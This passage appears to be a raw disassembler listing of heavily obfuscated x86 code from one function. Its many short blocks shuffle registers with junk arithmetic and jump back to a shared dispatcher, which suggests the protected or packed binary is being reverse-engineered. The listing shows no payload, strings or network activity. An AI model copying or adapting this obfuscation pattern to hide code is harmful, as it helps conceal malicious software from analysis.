		add	[esp+1Ah+var_1C+2], eax
		add	[esp+1Ah+var_1C+2], 196367EDh
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A8226:				; CODE XREF: sub_58A891+27E15j
		push	edx
		mov	edx, 6046681h
		add	esi, edx
		jmp	loc_5ADF03
; ---------------------------------------------------------------------------


loc_5A8233:				; CODE XREF: sub_58A891+1F627j
		pop	edi
		sub	eax, 1
		add	eax, 702A49B2h
		sub	eax, 0C4ECAFAh
		add	edi, eax
		jmp	loc_5AB10D
; ---------------------------------------------------------------------------


loc_5A824A:				; CODE XREF: sub_58A891+1CAC0j
		push	ecx
		jmp	loc_5A1EA8
; ---------------------------------------------------------------------------


loc_5A8250:				; CODE XREF: sub_58A891+1E24Bj
		dec	eax
		jle	loc_5AF17B
		xor	eax, 2C02B8Ah
		mov	esi, eax
		mov	eax, [esp+56h+var_58+2]
		add	esp, 4
		sub	esi, 66C92781h
		sub	eax, 2E95102h
		add	eax, esi
		jmp	loc_5AC5F9
; ---------------------------------------------------------------------------


loc_5A8279:				; CODE XREF: sub_58A891+27ED5j
		sub	esp, 4
		mov	[esp+56h+var_58+2], ebx
		push	edi
		mov	edi, 0AA548F4h
		sub	edi, 0E428D6ECh
		sub	edi, 7C764399h
		add	edi, 88171E3h
		jbe	loc_59DE84
		add	edi, 638A34DCh
		jnb	loc_5AFB78
		jmp	loc_5ADE44
; ---------------------------------------------------------------------------


loc_5A82AE:				; CODE XREF: sub_58A891+1E45Ej
		and	ebx, 21FE2A03h
		jz	loc_5A3C48
		push	esi
		mov	esi, 221737B3h
		jmp	loc_5A4E64
; ---------------------------------------------------------------------------


loc_5A82C5:				; CODE XREF: sub_58A891+118DCj
		mov	[esp+0], ebx
		mov	ebx, 3FCh
		push	ebp
		mov	ebp, 930267Ch
		and	ebp, 58306868h
		push	0
		sub	[esp+2+var_4+2], ebp
		mov	ebp, [esp+2+var_4+2]
		jmp	loc_5AF67D
; ---------------------------------------------------------------------------


loc_5A82E9:				; CODE XREF: sub_58A891+1B3F6j
		push	0
		sub	[esp+86h+var_86], edx
		pop	edx
		jmp	loc_5AEDDE
; ---------------------------------------------------------------------------


loc_5A82F7:				; CODE XREF: sub_58A891+1974Bj
		mov	bh, 8
		add	bh, 9Dh
		mov	ah, bh
		pop	ebx
		push	ebx
		mov	bh, 0F1h
		push	bx
		mov	bl, 0BFh
		add	ah, bl
		jmp	loc_5B0531
; ---------------------------------------------------------------------------


loc_5A830D:				; CODE XREF: sub_58A891+1FDDCj
		push	edx
		mov	edx, 44BB6E5Eh
		push	ebp
		jmp	loc_59DEA0
; ---------------------------------------------------------------------------


loc_5A8319:				; CODE XREF: sub_58A891+166EDj
		push	ebx
		mov	ebx, 4DF21009h
		or	ebx, 3C5C14A4h
		or	ebx, 22D01635h
		shl	ebx, 8
		dec	ebx
		xor	ebx, 8B869634h
		or	ebp, ebx
		pop	ebx
		push	esi
		jmp	loc_5AA5CE
; ---------------------------------------------------------------------------


loc_5A833E:				; CODE XREF: sub_58A891+23336j
		mov	[esp+86h+var_86], esp
		jmp	loc_5AB1F8
; ---------------------------------------------------------------------------


loc_5A8346:				; CODE XREF: sub_58A891+18620j
		push	[esp+66h+var_68+2]
		pop	ecx
		push	781h
		mov	[esp+6Ah+var_6C+2], edx
		jmp	loc_5B0D36
; ---------------------------------------------------------------------------


loc_5A8357:				; CODE XREF: sub_58A891+27610j
		mov	[esp+6Ah+var_6C+2], ecx
		push	edx
		jmp	loc_5A7172
; ---------------------------------------------------------------------------


loc_5A8360:				; CODE XREF: sub_58A891+1DEF6j
		push	esi
		mov	esi, 37570527h
		add	[esp+72h+var_70+2], esi
		pop	esi
		push	[esp+6Eh+var_70+2]
		pop	edx
		add	esp, 4
		sub	edx, 37570527h
		jmp	loc_5A85FE
; ---------------------------------------------------------------------------


loc_5A8380:				; CODE XREF: sub_58A891+190A1j
		add	ebx, esi
		pop	esi
		push	ecx
		jmp	loc_5A2399
; ---------------------------------------------------------------------------


loc_5A8389:				; CODE XREF: sub_58A891+24972j
		sub	ch, 0E8h
		sub	bh, 62h
		push	ecx
		jmp	loc_5ADACE
; ---------------------------------------------------------------------------


loc_5A8395:				; CODE XREF: sub_58A891+23942j
		pop	ecx
		push	ecx
		sub	[esp-1Eh+arg_18+2], 1E007310h
		jmp	loc_5AC5A7
; ---------------------------------------------------------------------------


loc_5A83A3:				; CODE XREF: sub_58A891+24101j
		mov	ecx, ebp
		pop	ebp
		jmp	loc_59FACF
; ---------------------------------------------------------------------------


loc_5A83AB:				; CODE XREF: sub_58A891+1E342j
		pop	ebx
		add	esp, 4
		mov	ebx, [esp-2Ah+arg_22]
		add	esp, 4
		push	esi
		jmp	loc_5A7B3B
; ---------------------------------------------------------------------------


loc_5A83BE:				; CODE XREF: sub_58A891:loc_59E700j
					; sub_58A891+1A066j ...
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		push	ebx
		jmp	loc_5A01C1
; ---------------------------------------------------------------------------


loc_5A83CA:				; CODE XREF: sub_58A891+1FF8Aj
		mov	dl, 16h
		jmp	loc_5A9448
; ---------------------------------------------------------------------------


loc_5A83D1:				; CODE XREF: sub_58A891+1D4A6j
		or	[esp+0], eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A83DA:				; CODE XREF: sub_58A891+23BDDj
		mov	ebx, [esp+7Ah+var_7A]
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp+82h+var_82], ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_5AA975
; ---------------------------------------------------------------------------


loc_5A83F2:				; CODE XREF: sub_58A891:loc_5A4935j
		push	edi
		jmp	loc_5A8FEC
; ---------------------------------------------------------------------------


loc_5A83F8:				; CODE XREF: sub_58A891+23F1Bj
		push	eax
		mov	eax, 240463BFh
		jmp	loc_5A60A9
; ---------------------------------------------------------------------------


loc_5A8403:				; CODE XREF: sub_58A891+25AA9j
		push	[esp+2Ah+var_2C+2]
		jmp	loc_59EB39
; ---------------------------------------------------------------------------


loc_5A840B:				; CODE XREF: sub_58A891+201D8j
		mov	edx, 453B0FBFh
		push	ebx
		jmp	loc_5B25AF
; ---------------------------------------------------------------------------


loc_5A8416:				; CODE XREF: sub_58A891+16889j
		mov	ecx, 60602DFEh
		jmp	loc_5A12C1
; ---------------------------------------------------------------------------


loc_5A8420:				; CODE XREF: sub_58A891+18100j
		jz	loc_5A519B
		sub	ecx, 0CD4BA5BCh
		jmp	loc_5A59FD
; ---------------------------------------------------------------------------


loc_5A8431:				; CODE XREF: sub_58A891+27B71j
		add	[esp+32h+var_34+2], 4
		pop	ebp
		push	ebx
		jmp	loc_5B0146
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+32h+var_34+2]
		push	ecx
		push	esp
		push	[esp+3Ah+var_3C+2]
		pop	ecx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, 401629ECh
		add	edx, ebx
		sub	edx, 401629ECh
		pop	ebx
		jmp	loc_59DF82
; ---------------------------------------------------------------------------


loc_5A8469:				; CODE XREF: sub_58A891+15CD9j
		push	edx
		mov	edx, 0B3071317h
		add	ebp, edx
		jmp	loc_59E0E9
; ---------------------------------------------------------------------------


loc_5A8476:				; CODE XREF: sub_58A891+1C421j
		xor	esi, [esp+8Eh+var_8E]
		xor	[esp+8Eh+var_8E], esi
		xor	esi, [esp+8Eh+var_8E]
		mov	esp, [esp+8Eh+var_8E]
		mov	[esp+8Eh+var_8E], ebx
		push	esp
		pop	ebx
		push	edx
		mov	edx, 27817A0Ah
		shr	edx, 4
		push	0B36h
		jmp	loc_59E53D
; ---------------------------------------------------------------------------


loc_5A849A:				; CODE XREF: sub_58A891+1A297j
		pop	ecx
		push	edi
		mov	edi, 4
		jmp	loc_59C50F
; ---------------------------------------------------------------------------


loc_5A84A6:				; CODE XREF: sub_58A891+2460Ej
		push	ebx
		not	[esp+6Eh+var_70+2]
		mov	ebx, [esp+6Eh+var_70+2]
		add	esp, 4
		jmp	loc_59E843
; ---------------------------------------------------------------------------


loc_5A84B5:				; CODE XREF: sub_58A891+2712Ej
		lodsd
		push	ecx
		jmp	loc_5A4F65
; ---------------------------------------------------------------------------


loc_5A84BC:				; CODE XREF: sub_58A891+22B92j
		sub	ebx, esi
		pop	esi
		add	ebx, eax
		mov	[ebx], ebp
		pop	ebx
		pop	ebp
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A84CA:				; CODE XREF: sub_58A891+15D45j
		push	ebp
		jmp	loc_5A8027
; ---------------------------------------------------------------------------


loc_5A84D0:				; CODE XREF: sub_58A891+1907Ej
					; sub_58A891+25DAAj
		push	ecx
		mov	cl, 6Dh
		sub	cl, 4Ch
		sub	al, 0B9h
		add	al, cl
		add	al, 0B9h
		pop	ecx
		sub	al, 45h
		push	dword ptr [esp+0]
		mov	edx, [esp-16h+arg_E]
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	bh, 58h
		shr	bh, 1
		sub	esp, 4
		mov	[esp-16h+arg_E], ecx
		mov	ch, 0AAh
		push	eax
		jmp	loc_5AE3B3
; ---------------------------------------------------------------------------


loc_5A8507:				; CODE XREF: sub_58A891:loc_59D8F7j
		inc	esi
		jl	loc_5A2E10
		jmp	loc_5ADACE
; ---------------------------------------------------------------------------
		xor	esi, [esp+7Eh+var_7E]
		mov	esi, ecx


loc_5A8518:				; CODE XREF: sub_58A891+1EE78j
		xor	ebx, 5FF16E0Bh
		jmp	loc_5A4FB0
; ---------------------------------------------------------------------------


loc_5A8523:				; CODE XREF: sub_58A891+1B411j
		pop	edx
		xor	eax, ebx
		mov	ebx, [esp+82h+var_82]
		jmp	loc_5ABE76
; ---------------------------------------------------------------------------


loc_5A852E:				; CODE XREF: sub_58A891+180E0j
		shr	edi, 6
		jns	loc_5AA0A3
		push	eax
		mov	eax, 1C436D3Ch
		and	edi, eax
		mov	dh, ah


loc_5A8541:				; CODE XREF: sub_58A891+222D1j
		mov	ebp, [esp+0AEh+var_AE]
		add	esp, 4
		push	ebx
		push	edx
		mov	edx, 12615D2Dh
		jmp	loc_5B0631
; ---------------------------------------------------------------------------


loc_5A8553:				; CODE XREF: sub_58A891+1A6A3j
		sub	ebp, 1CE66FD5h
		add	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+0]
		jmp	loc_5AD542
; ---------------------------------------------------------------------------


loc_5A856D:				; CODE XREF: sub_58A891+1A7D9j
		pop	esp
		jmp	loc_59DAD9
; ---------------------------------------------------------------------------


loc_5A8573:				; CODE XREF: sub_58A891+18309j
		mov	[esp-1Eh+arg_18+2], edi
		push	922h
		jmp	loc_5A7DD3
; ---------------------------------------------------------------------------


loc_5A8580:				; CODE XREF: sub_58A891+27213j
		sub	eax, 109220BBh
		push	ecx
		mov	ecx, 2592378Dh
		or	eax, ecx
		pop	ecx
		jmp	loc_59C425
; ---------------------------------------------------------------------------


loc_5A8593:				; CODE XREF: sub_58A891+240ECj
		sub	edi, esi
		pop	esi
		sub	edi, 2C020FC1h
		jmp	loc_5AB035
; ---------------------------------------------------------------------------


loc_5A85A1:				; CODE XREF: sub_58A891+268CCj
		jmp	loc_59FF5D
; ---------------------------------------------------------------------------


loc_5A85A6:				; CODE XREF: sub_58A891+26A27j
		dec	ch
		jmp	loc_5A1CE4
; ---------------------------------------------------------------------------


loc_5A85AD:				; CODE XREF: sub_58A891+251C7j
		add	ebx, ebp
		pop	ebp
		jmp	loc_5AB0F9
; ---------------------------------------------------------------------------


loc_5A85B5:				; CODE XREF: sub_58A891+27D44j
		jmp	loc_5B1269
; ---------------------------------------------------------------------------


loc_5A85BA:				; CODE XREF: sub_58A891+17A72j
		xor	ebx, 278F12B3h
		and	ecx, ebx
		push	[esp+0AEh+var_AE]
		pop	ebx
		add	esp, 4
		shr	ecx, 7
		jmp	loc_5A5A64
; ---------------------------------------------------------------------------


loc_5A85D4:				; CODE XREF: sub_58A891+1A21Ej
		add	esp, 4
		sub	esi, 2D192C01h
		add	esi, 403A38A1h
		jmp	loc_5A0A64
; ---------------------------------------------------------------------------


loc_5A85E8:				; CODE XREF: sub_58A891+1DE13j
		mov	ebx, [esp+3Ch+var_3C]
		add	esp, 4
		push	153h
		mov	[esp+3Ch+var_3C], ebp
		jmp	loc_5A9DAC
; ---------------------------------------------------------------------------


loc_5A85FE:				; CODE XREF: sub_58A891+1DAEAj
		pop	edi
		and	ecx, edx
		push	[esp+66h+var_68+2]
		jmp	loc_5A3E3F
; ---------------------------------------------------------------------------


loc_5A8609:				; CODE XREF: sub_58A891+16FB4j
		xor	ebp, 35ED6027h
		push	ebp
		pop	edx
		push	[esp+2+var_4+2]
		pop	ebp
		add	esp, 4
		add	ebp, 292D7239h
		add	ebp, edx
		push	edx
		jmp	loc_5B0650
; ---------------------------------------------------------------------------


loc_5A8629:				; CODE XREF: sub_58A891+15651j
		push	453Fh
		mov	[esp+80h+var_82+2], ecx
		push	23A05EBAh
		pop	ecx
		shl	ecx, 5
		neg	ecx
		sub	esp, 4
		mov	[esp+84h+var_86+2], eax
		mov	eax, 380B49FCh
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		push	edi
		jmp	loc_5A5886
; ---------------------------------------------------------------------------


loc_5A8651:				; CODE XREF: sub_58A891+20B08j
		push	1D21h
		mov	[esp+8Ch+var_8E+2], ebx
		push	5A43h
		mov	[esp+90h+var_92+2], ecx
		mov	ch, 42h
		mov	bl, 69h
		jmp	loc_5A0D2C
; ---------------------------------------------------------------------------


loc_5A866A:				; CODE XREF: sub_58A891+1AC2Cj
		pop	eax
		jmp	loc_5B2102
; ---------------------------------------------------------------------------


loc_5A8670:				; CODE XREF: sub_58A891+26A1Bj
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		push	eax
		jmp	loc_5B1E70
; ---------------------------------------------------------------------------


loc_5A8684:				; CODE XREF: sub_58A891+1BD7Aj
		mov	cx, word ptr [esp+2+var_4+2]
		push	32FDh
		mov	[esp+6+var_8+2], edi
		jmp	loc_5AB0CB
; ---------------------------------------------------------------------------


loc_5A8695:				; CODE XREF: sub_58A891+1E760j
		add	edi, 47942B57h
		neg	edi
		jmp	loc_5B0D29
; ---------------------------------------------------------------------------


loc_5A86A2:				; CODE XREF: sub_58A891+17B6Ej
		add	eax, ebx
		jmp	loc_5A85E8
; ---------------------------------------------------------------------------


loc_5A86A9:				; CODE XREF: sub_58A891+280D6j
		pop	edx
		push	edx
		mov	edx, 675441F2h
		xor	edx, 9D40B4Fh
		and	edi, edx
		pop	edx
		and	edi, 0EA955C7h
		sub	edi, 0A545EBE5h
		sub	eax, 4F603027h
		sub	eax, edi
		add	eax, 4F603027h
		jmp	loc_5AE09A
; ---------------------------------------------------------------------------
		push	[esp+0A4h+var_A6+2]
		push	[esp+0A8h+var_AA+2]
		pop	eax
		push	edx
		push	esp
		jmp	loc_5A6F96
; ---------------------------------------------------------------------------


loc_5A86E4:				; CODE XREF: sub_58A891+16BB0j
		push	eax
		jmp	loc_59F55A
; ---------------------------------------------------------------------------


loc_5A86EA:				; CODE XREF: sub_58A891+1CC6Bj
		mov	eax, 127250CCh
		mov	ebx, eax
		mov	eax, [esp+26h+var_28+2]
		add	esp, 4
		push	3FCDh
		jmp	loc_5A1733
; ---------------------------------------------------------------------------


loc_5A8701:				; CODE XREF: sub_58A891+22CACj
		dec	eax
		and	eax, 6D0F7388h
		inc	eax
		jmp	loc_5A6B64
; ---------------------------------------------------------------------------


loc_5A870D:				; CODE XREF: sub_58A891+178D0j
		shr	ecx, 6
		push	3A18h
		mov	[esp+0], ebx
		push	eax
		push	ebx
		mov	ebx, 2BC920D4h
		sub	ebx, 47210FF6h
		jnp	loc_5A2F29
		add	ebx, 591F60BFh
		mov	eax, ebx
		pop	ebx
		add	[esp+4], eax
		pop	eax
		pop	eax
		jmp	loc_5B0D14
; ---------------------------------------------------------------------------


loc_5A873F:				; CODE XREF: sub_58A891+175A7j
		add	esi, 4
		push	ebp
		jmp	loc_5ACF4A
; ---------------------------------------------------------------------------


loc_5A874B:				; CODE XREF: sub_58A891+122EDj
		add	[esp+86h+var_82], ebx
		jmp	loc_5A0657
; ---------------------------------------------------------------------------


loc_5A8754:				; CODE XREF: sub_58A891+21148j
		push	411536BAh
		jmp	loc_59C090
; ---------------------------------------------------------------------------


loc_5A875E:				; CODE XREF: sub_58A891+1A4F5j
					; sub_58A891+2497Ej
		sub	eax, edi
		add	eax, 74865C2Dh
		jmp	loc_59CA5B
; ---------------------------------------------------------------------------


loc_5A876A:				; CODE XREF: sub_58A891+246E8j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A876F:				; CODE XREF: sub_58A891+1355Dj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A8774:				; CODE XREF: sub_58A891+1818Bj
		not	eax
		add	eax, 17140B24h
		mov	edi, eax
		jmp	loc_5A167E
; ---------------------------------------------------------------------------


loc_5A8782:				; CODE XREF: sub_58A891+27809j
		pop	edx
		add	esp, 4
		push	edi
		jmp	loc_5A8360
; ---------------------------------------------------------------------------


loc_5A878C:				; CODE XREF: sub_58A891+1590Aj
		add	ebx, esi
		mov	esi, [esp+6Eh+var_70+2]
		add	esp, 4
		jmp	loc_5AF7C1
; ---------------------------------------------------------------------------


loc_5A8799:				; CODE XREF: sub_58A891+19C14j
		add	al, 0C5h
		jmp	loc_5ADAEC
; ---------------------------------------------------------------------------


loc_5A87A0:				; CODE XREF: sub_58A891+21D90j
		push	dword ptr [edi+1Ch]
		push	[esp+0Eh+var_10+2]
		mov	eax, [esp+12h+var_14+2]
		push	1024h
		jmp	loc_5A108B
; ---------------------------------------------------------------------------


loc_5A87B3:				; CODE XREF: sub_58A891+22C80j
		add	ecx, esi
		pop	esi
		dec	ecx
		xor	ecx, 0AF71E9E6h
		sub	ebx, 64354Dh
		add	ebx, ecx
		jmp	loc_59D3D6
; ---------------------------------------------------------------------------


loc_5A87CA:				; CODE XREF: sub_58A891+13053j
		jmp	loc_59FFC6
; ---------------------------------------------------------------------------


loc_5A87CF:				; CODE XREF: sub_58A891+24BACj
		pop	dword ptr [esp+0]
		mov	esp, [esp+72h+var_74+2]
		mov	cx, word ptr [esp+72h+var_74+2]
		push	7898h
		jmp	loc_59C635
; ---------------------------------------------------------------------------


loc_5A87E3:				; CODE XREF: sub_58A891+13107j
		mov	eax, ebx
		pop	ebx
		or	eax, 141E0F81h
		neg	eax
		sub	eax, 316B29AAh
		jmp	loc_5A8989
; ---------------------------------------------------------------------------


loc_5A87F7:				; CODE XREF: sub_58A891+2695Dj
		pop	ax
		pop	eax
		push	ecx
		push	eax
		mov	ah, 91h
		mov	cl, 42h
		jmp	loc_5A2BBC
; ---------------------------------------------------------------------------


loc_5A8805:				; CODE XREF: sub_58A891+262BFj
		add	esp, 4
		jmp	loc_5A0528
; ---------------------------------------------------------------------------


loc_5A880D:				; CODE XREF: sub_58A891+28310j
		mov	ebp, 45736B13h
		jmp	loc_59DCA8
; ---------------------------------------------------------------------------


loc_5A8817:				; CODE XREF: sub_58A891+1B839j
		pop	esp
		add	ebp, 5B010BFh
		jmp	loc_59DD5D
; ---------------------------------------------------------------------------


loc_5A8823:				; CODE XREF: sub_58A891+1C72Bj
					; sub_58A891+1CA32j
		push	[esp+8Ah+var_86]
		pop	edi
		pop	[esp+8Ah+var_8A]
		pop	esp
		mov	[esp+82h+var_82], eax
		push	473h
		mov	[esp+86h+var_86], ebx
		jmp	loc_5A6BB7
; ---------------------------------------------------------------------------


loc_5A883C:				; CODE XREF: sub_58A891+12676j
		or	eax, 836761h
		jmp	loc_5B031C
; ---------------------------------------------------------------------------


loc_5A8846:				; CODE XREF: sub_58A891+1CA18j
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		jmp	loc_59EF13
; ---------------------------------------------------------------------------


loc_5A8857:				; CODE XREF: sub_58A891+13A6Ej
		xor	eax, [esp+1Eh+var_20+2]
		mov	esp, [esp+1Eh+var_20+2]
		push	edi
		mov	edi, 2
		add	ecx, 2B86514Eh
		sub	ecx, edi
		sub	ecx, 2B86514Eh
		mov	edi, [esp+22h+var_24+2]
		jmp	loc_5AD3B4
; ---------------------------------------------------------------------------


loc_5A8879:				; CODE XREF: sub_58A891+14EEDj
		jb	loc_5A0D08
		xor	ecx, 2E25A8CEh
		mov	esi, ecx
		mov	ecx, [esp+86h+var_86]
		add	esp, 4
		add	esi, 0F915BC91h
		jmp	loc_5AE07E
; ---------------------------------------------------------------------------


loc_5A889B:				; CODE XREF: sub_58A891+145D5j
		push	edi
		mov	edi, esp
		push	eax
		push	esi
		push	150F6Fh
		pop	esi
		sub	esi, 150F6Bh
		mov	eax, esi
		pop	esi
		push	ebx
		mov	ebx, 1DBF7999h
		jmp	loc_59C40C
; ---------------------------------------------------------------------------


loc_5A88BA:				; CODE XREF: sub_58A891+2022Aj
		add	esp, 4
		sub	esp, 4
		mov	[esp+22h+var_24+2], esi
		jmp	loc_5A5963
; ---------------------------------------------------------------------------


loc_5A88CB:				; CODE XREF: sub_58A891+1B524j
		add	edi, 0D0F30340h
		sub	esp, 4
		mov	[esp+86h+var_86], edi
		xor	[esp+86h+var_86], 358B7856h
		jmp	loc_5AD0CF
; ---------------------------------------------------------------------------


loc_5A88E6:				; CODE XREF: sub_58A891+1D326j
		jmp	loc_59DAC4
; ---------------------------------------------------------------------------


loc_5A88EB:				; CODE XREF: sub_58A891+19314j
		or	ecx, 3A89092Dh
		jmp	loc_5A93DB
; ---------------------------------------------------------------------------


loc_5A88F6:				; CODE XREF: sub_58A891+1383Ej
		push	ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A88FE:				; CODE XREF: sub_58A891+11C90j
					; sub_58A891+12343j
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+1Eh+var_20+2]
		pop	esp
		push	4FECh
		mov	[esp+1Eh+var_20+2], edx
		push	1
		mov	edx, [esp+22h+var_24+2]
		jmp	loc_5A2922
; ---------------------------------------------------------------------------


loc_5A8924:				; CODE XREF: sub_58A891+16FC4j
		mov	ebp, [esp+6+var_8+2]
		push	eax
		jmp	loc_5A80B8
; ---------------------------------------------------------------------------


loc_5A892D:				; CODE XREF: sub_58A891+21986j
		sub	ebp, ecx
		jmp	loc_5A83BE
; ---------------------------------------------------------------------------


loc_5A8934:				; CODE XREF: sub_58A891+197FCj
		push	ecx
		jmp	loc_5A7651
; ---------------------------------------------------------------------------


loc_5A893A:				; CODE XREF: sub_58A891+14767j
		mov	esi, 508E26CFh
		xor	esi, 7437435h
		push	0F63h
		mov	[esp+0AAh+var_AA], edx
		mov	edx, 2AD16D4Ch
		and	edx, 31A66375h
		push	edi
		jmp	loc_5A291C
; ---------------------------------------------------------------------------


loc_5A895E:				; CODE XREF: sub_58A891+1EE29j
		jle	loc_5A26B5
		jmp	loc_5A366B
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, 0BAF0AA6h
		pop	edi


loc_5A8970:				; CODE XREF: sub_58A891+1D229j
		mov	ecx, 759B76BCh
		xor	ebx, ecx
		pop	ecx
		add	ebx, 0EA2499C8h
		push	ebp
		mov	ebp, 14E80F9Fh
		jmp	loc_5B18D6
; ---------------------------------------------------------------------------


loc_5A8989:				; CODE XREF: sub_58A891+1DF61j
		dec	eax
		sub	eax, 38B168B7h
		xor	eax, 56D68C48h
		mov	ecx, eax
		pop	eax
		add	edi, 23CB0076h
		add	edi, ecx
		jmp	loc_5ABA17
; ---------------------------------------------------------------------------


loc_5A89A4:				; CODE XREF: sub_58A891+1F330j
		pop	esi
		jmp	loc_5AD62B
; ---------------------------------------------------------------------------


loc_5A89AA:				; CODE XREF: sub_58A891+26E6Dj
		mov	edx, esp
		push	eax
		sub	esp, 4
		mov	[esp+82h+var_82], edx
		mov	edx, 7CA92FB5h
		or	edx, 69C57A85h
		shl	edx, 6
		add	edx, 84A012C4h
		mov	eax, edx
		mov	edx, [esp+82h+var_82]
		add	esp, 4
		add	edx, eax
		mov	eax, [esp+7Eh+var_7E]
		add	esp, 4
		push	ebp
		mov	ebp, 11AE38F7h
		and	ebp, 38E03A41h
		inc	ebp
		or	ebp, 62534561h
		add	ebp, 545C37F7h
		xor	ebp, 0C74FB55Eh
		add	edx, ebp
		jmp	loc_5AAC7A
; ---------------------------------------------------------------------------


loc_5A8A00:				; CODE XREF: sub_58A891+240B7j
		mov	ecx, [esp+7Eh+var_7E]
		add	esp, 4
		push	ebx
		mov	bl, ah
		mov	ah, dh
		mov	dh, bl
		pop	ebx
		push	ecx
		mov	ch, 1
		sub	ah, ch
		jmp	loc_5A2DD7
; ---------------------------------------------------------------------------


loc_5A8A1B:				; CODE XREF: sub_58A891+26EC7j
		pop	ax
		push	[esp+7Ch+var_7E+2]
		mov	ebx, [esp+80h+var_82+2]
		add	esp, 4
		add	esp, 4
		add	al, 94h
		add	al, ch
		sub	al, 94h
		push	[esp+78h+var_7A+2]
		push	[esp+7Ch+var_7E+2]
		pop	ecx
		add	esp, 4
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_5B1FE7
; ---------------------------------------------------------------------------


loc_5A8A4F:				; CODE XREF: sub_58A891+1B47Cj
		pop	edx
		inc	esi
		add	esi, 269C24A8h
		not	esi
		push	edx
		mov	edx, 26C6393Bh
		xor	edx, 49EC0EC5h
		jmp	loc_5AE968
; ---------------------------------------------------------------------------


loc_5A8A6A:				; CODE XREF: sub_58A891+16F91j
		pop	dword ptr [esp+0]
		push	edx
		mov	edx, 4
		add	dword ptr [esp+4], 2BBB196Bh
		add	[esp+4], edx
		sub	dword ptr [esp+4], 2BBB196Bh
		pop	edx
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		sub	ebx, 2
		xchg	ebx, [esp-0Ah+arg_0+2]
		mov	esp, [esp-0Ah+arg_0+2]
		mov	word ptr [esp-0Ah+arg_0+2], ax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A8AA4:				; CODE XREF: sub_58A891+1BC75j
		add	ebx, 4
		push	ecx
		push	edx
		jmp	loc_5ACA93
; ---------------------------------------------------------------------------


loc_5A8AB1:				; CODE XREF: sub_58A891+26F9Dj
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+32h+var_34+2]
		pop	esp
		add	esp, 4
		push	ebx
		sub	esp, 4
		jmp	loc_5ACC09
; ---------------------------------------------------------------------------


loc_5A8ACF:				; CODE XREF: sub_58A891+26385j
		pop	bp
		push	edi
		jmp	loc_5AECDB
; ---------------------------------------------------------------------------


loc_5A8AD7:				; CODE XREF: sub_58A891+28455j
		and	eax, 7C497F34h
		jmp	loc_5A8250
; ---------------------------------------------------------------------------


loc_5A8AE1:				; CODE XREF: sub_58A891+11A39j
		push	6D54h
		mov	[esp-16h+arg_E], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 763426FBh
		add	esi, 64983734h
		jmp	loc_5A9EF0
; ---------------------------------------------------------------------------


loc_5A8AFC:				; CODE XREF: sub_58A891+1D520j
		pop	eax
		add	bl, 60h
		and	dh, bl
		jmp	loc_59E425
; ---------------------------------------------------------------------------


loc_5A8B07:				; CODE XREF: sub_58A891+24CC1j
		sub	edi, ebx
		mov	ebx, [esp+16h+var_18+2]
		add	esp, 4
		sub	edi, ecx
		jmp	loc_5A5E17
; ---------------------------------------------------------------------------


loc_5A8B19:				; CODE XREF: sub_58A891+18B09j
		shl	edx, 2
		inc	edx
		xor	edx, 6D526B25h
		jmp	loc_5A7553
; ---------------------------------------------------------------------------


loc_5A8B28:				; CODE XREF: sub_58A891+1C1C0j
		push	edi
		mov	edi, 10F70E0Ah
		mov	esi, 3B136603h
		jmp	loc_5A8F8F
; ---------------------------------------------------------------------------


loc_5A8B38:				; CODE XREF: sub_58A891+12D3Aj
					; sub_58A891+24003j
		mov	edx, [esp+2+var_4+2]
		add	esp, 4
		add	esp, 4


loc_5A8B44:				; CODE XREF: sub_58A891+141E6j
		push	28Fh
		mov	[esp+0], ebx
		push	dword ptr [esp+0]
		jmp	loc_5A36C3
; ---------------------------------------------------------------------------


loc_5A8B54:				; CODE XREF: sub_58A891+12380j
		add	edx, ecx
		push	ebp
		mov	ebp, 70852141h
		jmp	loc_5AC6AC
; ---------------------------------------------------------------------------


loc_5A8B61:				; CODE XREF: sub_58A891+1D7FDj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A8B66:				; CODE XREF: sub_58A891+1D854j
		mov	esp, [esp+8Ah+var_8A]
		mov	eax, [esp+8Ah+var_8A]
		add	esp, 4
		mov	[edi+eax*4], bl
		mov	ebx, [esp+86h+var_86]
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A8B80:				; CODE XREF: sub_58A891+232D7j
		sub	esp, 4
		mov	[esp+86h+var_86], eax
		push	esp
		jmp	loc_5A0106
; ---------------------------------------------------------------------------


loc_5A8B8C:				; CODE XREF: sub_58A891+273F9j
		mov	esp, [esp+8Ah+var_8A]
		sub	esp, 4
		mov	[esp+8Eh+var_8E], eax
		push	edi
		mov	edi, 5FC32019h
		shl	edi, 5
		jmp	loc_5A9677
; ---------------------------------------------------------------------------


loc_5A8BA3:				; CODE XREF: sub_58A891+19B57j
		shl	bl, 2
		jmp	loc_5A4D46
; ---------------------------------------------------------------------------


loc_5A8BAB:				; CODE XREF: sub_58A891+149DAj
